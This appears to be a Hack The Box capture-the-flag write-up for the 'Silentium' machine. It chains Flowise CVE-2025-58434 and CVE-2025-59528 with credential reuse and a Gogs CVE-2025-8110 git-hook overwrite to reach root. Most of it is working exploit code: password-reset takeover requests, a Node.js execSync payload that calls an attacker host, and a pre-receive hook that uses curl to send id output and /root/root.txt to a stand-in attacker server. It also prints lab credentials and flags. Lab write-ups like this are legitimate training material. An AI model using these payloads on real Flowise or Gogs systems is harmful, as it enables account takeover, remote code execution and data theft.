Back to writeups
HTBmachineEasysolved

Silentium

12 Jul 2026 · by 0xIDA

Solvers

Silentium

Author: 0xIDA
Platform: HTB · Category: machine · Difficulty: Easy

Solvers

Difficulty: Easy
OS: Linux (Ubuntu + Alpine Flowise container)
IP (this run): 10.129.245.103
Hosts: silentium.htb, staging.silentium.htb, staging-v2-code.dev.silentium.htb
Attacker IP: 10.10.15.137

Flags (verified live)

FlagValue
user9e6524089c8138ea367b051df42259ed
root2abb54e56ae656709d0271acf5147e18

Kill chain (summary)

  1. Vhost staging.silentium.htbFlowise 3.0.5
  2. CVE-2025-58434 — forgot-password returns tempToken → reset ben@silentium.htb
  3. CVE-2025-59528 — authenticated CustomMCP RCE as root in Docker
  4. Exfil container env → SMTP_PASSWORD reuses for host SSH as ben → user.txt
  5. Local Gogs (127.0.0.1:3001, RUN_USER=root) → register + CVE-2025-8110 symlink PutContents → git hooks → root.txt

1. Recon

echo "10.129.245.103 silentium.htb staging.silentium.htb staging-v2-code.dev.silentium.htb" >> /etc/hosts
nmap -sV -sC -p- --min-rate 2000 -Pn 10.129.245.103
PortService
22OpenSSH 9.6p1
80nginx — Silentium corporate site (static)

Vhost discovery:

curl -s -H "Host: staging.silentium.htb" http://10.129.245.103/ | head
# Flowise - Build AI Agents, Visually
curl -s http://staging.silentium.htb/api/v1/version
# {"version":"3.0.5"}

2. Flowise account takeover — CVE-2025-58434

Unauthenticated password-reset endpoint returns a live tempToken in the JSON body:

curl -s http://staging.silentium.htb/api/v1/account/forgot-password \
  -X POST -H "Content-Type: application/json" \
  -d '{"user":{"email":"ben@silentium.htb"}}'
# ... "tempToken":"<TOKEN>", "email":"ben@silentium.htb", "name":"admin" ...

Reset password:

curl -s http://staging.silentium.htb/api/v1/account/reset-password \
  -X POST -H "Content-Type: application/json" \
  -d '{"user":{"email":"ben@silentium.htb","tempToken":"<TOKEN>","password":"Pwned123!"}}'

Login (session cookie + UI header):

s = requests.Session()
s.post("http://staging.silentium.htb/api/v1/auth/login",
       json={"email":"ben@silentium.htb","password":"Pwned123!"})
# Most API routes need:
headers = {"x-request-from": "internal"}

3. Flowise RCE — CVE-2025-59528 (CustomMCP)

Authenticated call to node load method evaluates MCP config via Function():

cmd = 'curl http://ATTACKER:PORT/$(id|base64 -w0)'  # or reverse shell
command = (
  '({x:(function(){const cp = process.mainModule.require("child_process");'
  f'cp.execSync("{cmd}");return 1;}})()})'
)
s.post(
  "http://staging.silentium.htb/api/v1/node-load-method/customMCP",
  headers={"x-request-from": "internal"},
  json={"loadMethod": "listActions", "inputs": {"mcpServerConfig": command}},
)

Shell context: root inside Alpine Docker (uid=0, .dockerenv).

Credential pivot

Dump process environment (base64 OOB to avoid mangling):

FLOWISE_USERNAME=ben
FLOWISE_PASSWORD=F1l3_d0ck3r          # Flowise UI only (not host SSH)
SMTP_PASSWORD=r04D!!_R4ge             # reuses on host SSH!
SMTP_HOST=mailhog
SENDER_EMAIL=ben@silentium.htb
ssh ben@10.129.245.103   # password: r04D!!_R4ge
cat ~/user.txt
# 9e6524089c8138ea367b051df42259ed

4. Root — Gogs CVE-2025-8110

On the host (as ben):

ss -lntp | grep 3001
# 127.0.0.1:3001  →  /opt/gogs/gogs/gogs web  (root)

app.ini highlights:

RUN_USER = root
HTTP_ADDR = 127.0.0.1
HTTP_PORT = 3001
DOMAIN = staging-v2-code.dev.silentium.htb
ROOT_PATH = /root/gogs-repositories
ENABLE_REGISTRATION_CAPTCHA = true

Access Gogs

ssh -L 13001:127.0.0.1:3001 ben@10.129.245.103
# /etc/hosts: 127.0.0.1 staging-v2-code.dev.silentium.htb
# Use URL http://staging-v2-code.dev.silentium.htb:13001  (cookie Domain must match)

Register with captcha (ddddocr/tesseract helps), create API token:

curl -u 'USER:PASS' -H 'Content-Type: application/json' \
  -d '{"name":"t1"}' \
  http://staging-v2-code.dev.silentium.htb:13001/api/v1/users/USER/tokens

Symlink + PutContents RCE

  1. Create repo via API, push an initial commit.
  2. Commit a symlink pointing at
    /root/gogs-repositories/<user>/<repo>.git/hooks/pre-receive
  3. PUT /api/v1/repos/<user>/<repo>/contents/<symlink> with base64 shell script
    (OS follows the symlink → overwrites the hook).
  4. git push triggers the hook as root.

Example hook:

#!/bin/bash
id | curl -s --data-binary @- http://ATTACKER/id
cat /root/root.txt | curl -s --data-binary @- http://ATTACKER/flag
exit 0

Live result:

uid=0(root) gid=0(root) groups=0(root)
2abb54e56ae656709d0271acf5147e18

Commands cheat-sheet

# hosts
echo "10.129.245.103 silentium.htb staging.silentium.htb" >> /etc/hosts
echo "127.0.0.1 staging-v2-code.dev.silentium.htb" >> /etc/hosts

# Flowise ATO
curl -s http://staging.silentium.htb/api/v1/account/forgot-password \
  -H 'Content-Type: application/json' -d '{"user":{"email":"ben@silentium.htb"}}'
# reset-password with tempToken → login with x-request-from: internal
# CustomMCP RCE → dump env → SMTP_PASSWORD

ssh ben@10.129.245.103          # r04D!!_R4ge
ssh -L 13001:127.0.0.1:3001 ben@10.129.245.103
# register on Gogs, token, symlink PutContents, push → root flag

Key lessons

TopicDetail
Flowise 3.0.5Two chained CVEs: reset-token leak + CustomMCP code exec
API auth quirksCookie session needs x-request-from: internal
Credential reuseSMTP_PASSWORD ≠ FLOWISE_PASSWORD; always test both
Gogs cookiesDomain= forces correct Host / tunnel hostname
CVE-2025-8110Symlink + PutContents bypasses path checks; hooks as RUN_USER

Verification status

  • User flag: read live from /home/ben/user.txt via SSH as ben
  • Root flag: exfiltrated live via Gogs pre-receive hook as root (uid=0)

Machine: Silentium · Easy · Linux · 10.129.245.103